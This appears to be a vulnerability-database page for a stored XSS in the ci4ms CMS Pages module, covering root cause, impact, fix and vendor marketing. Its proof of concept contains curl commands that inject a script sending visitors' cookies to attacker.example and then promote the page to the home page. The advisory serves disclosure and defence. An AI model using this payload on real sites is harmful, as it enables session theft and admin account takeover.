GHSA-gqr2-7hcg-rchf
HIGHGHSA-gqr2-7hcg-rchf is a high-severity (CVSS 8.7) Cross-site Scripting (XSS) vulnerability in ci4-cms-erp/ci4ms. O3 Security confirms whether GHSA-gqr2-7hcg-rchf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gqr2-7hcg-rchf.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-gqr2-7hcg-rchf plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 360,142 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
ci4-cms-erp/ci4msReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.
Details
This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
...
$clean = self::sanitizeHtml($str);
$str = $clean;
self::$cleanCache[md5((string)$str)] = $clean;
return true;
}
CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.
Pages controller — modules/Pages/Controllers/Pages.php:
Pages::create()registers the rule at line 82:
Then at lines 102–113 it reads the raw POST and inserts it untouched:'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],$langsData = $this->request->getPost('lang') ?? []; ... $this->commonModel->create('pages_langs', [ ... 'content' => $lData['content'], // line 111 — RAW ... ]);Pages::update()mirrors the same pattern at lines 130 and 157:'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], // line 130 ... 'content' => $lData['content'], // line 157 — RAW
The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:
<div id="ci4ms-content">
<?php echo $pageInfo->content ?> // no esc(), raw HTML output
</div>
CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.
This is distinct from the Blog finding:
- Different module/controller (
Modules\Pages\Controllers\PagesvsModules\Blog\Controllers\Blog) - Different table (
pages_langs.contentvsblog_langs.content) - Different view file (
templates/{theme}/pages.phpvstemplates/{theme}/blog/post.php) - Different route (
/<seflink>matched byHome::indexvs/blog/<seflink>) - Pages can be promoted to the site home page via
Pages::setHomePage(modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of/.
Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).
PoC
Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.
Step 1 — log in to backend, capture cookies:
curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
-d '[email protected]' -d 'password=AuthorPass1!'
Step 2 — create a page with a malicious content payload:
curl -k -b cookies.txt -X POST https://target/backend/pages/create \
-d 'lang[en][title]=POC' \
-d 'lang[en][seflink]=poc-page-xss' \
-d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
-d 'isActive=1'
Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.
Step 3 — trigger the XSS by visiting the public URL:
https://target/poc-page-xss
Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.
Step 4 — broaden blast radius (optional, requires pages.update):
curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
-H 'X-Requested-With: XMLHttpRequest'
After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.
Impact
- Stored XSS in public-facing site: any visitor to a malicious page slug — or to
/if the page is set as home — executes the attacker's JavaScript. - Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire
/backend/*surface (full CMS administration, user management, file editor, backups, theme upload). - Privilege escalation: the attacker only needs
pages.create(a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector. - Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.
Recommended Fix
Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:
use Modules\Backend\Validation\CustomRules;
// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
'pages_id' => $insertID,
'lang' => $langCode,
'title' => strip_tags(trim($lData['title'])),
'seflink' => strip_tags(trim($lData['seflink'])),
'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
'seo' => $seoData
]);
// Pages::update() — replace line 157
$langUpdate = [
'title' => strip_tags(trim($lData['title'])),
'seflink' => strip_tags(trim($lData['seflink'])),
'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
'seo' => $seoData
];
Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | ci4-cms-erp/ci4ms | all versions | 0.31.9.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update ci4-cms-erp/ci4ms to 0.31.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gqr2-7hcg-rchf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gqr2-7hcg-rchf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gqr2-7hcg-rchf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gqr2-7hcg-rchf in your dependencies?
O3 detects GHSA-gqr2-7hcg-rchf across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.